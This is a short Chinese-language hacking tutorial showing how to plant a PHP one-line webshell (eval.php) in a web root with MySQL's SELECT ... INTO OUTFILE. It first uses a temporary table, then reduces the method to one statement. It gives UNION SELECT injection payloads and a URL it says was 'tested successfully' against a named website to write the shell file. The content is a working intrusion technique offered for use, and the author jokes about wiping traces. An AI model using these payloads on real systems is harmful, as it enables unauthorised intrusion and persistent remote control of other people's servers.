文章中用到的SQL语句大体如下(命令行或者其它能执行SQL命令的shell都行):
Drop TABLE IF EXISTS temp; //如果存在temp就删掉
Create TABLE temp(cmd text NOT NULL); //建立temp表,里面就一个cmd字段
Insert INTO temp (cmd) VALUES(”); //把一句话木马插入到temp表
Select cmd from temp into out file ‘F:/wwwroot/eval.php’; //查询temp表中的一句话并把结果导入到eval.php
Drop TABLE IF EXISTS temp; //删除temp(擦屁股o(∩_∩)o…)
这几句SQL很简单,我做了简单的注释。
不过想想我们在测试PHP的SQL漏洞的时候经常用如下的语句:
/**/UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12/*
然后返回的页面中可能会出现1~12之间的数字。这里加入数字3显示出来了。
如果我们把上面这句改成/**/UNION SELECT 1,2,’zerosoul’,4,5,6,7,8,9,10,11,12/*,则返回页面上次显示3的地方会显示zerosoul。
也就是说如果我们的select语句后面不带from table语句的话,我们说查询的数字或字符会直接返回到查询结果里。
既然这样,我们为何还要那么麻烦去建一个表,先导入数据,再导出这样折腾呢。
有了这个思路,上面那一大段到出一句话的SQL代码可以直接简化到一句:
Select ” into outfile ‘F:/wwwroot/eval.php’;
这样做不但简单明了,而且避免了误删别人的数据。
效果图如下:


补充:加个测试成功的注入URL:
http://www.7747.net/news.php?NewsID=-1 union Select ‘‘,2 into outfile ‘D:/wwwroot/eval.php’/*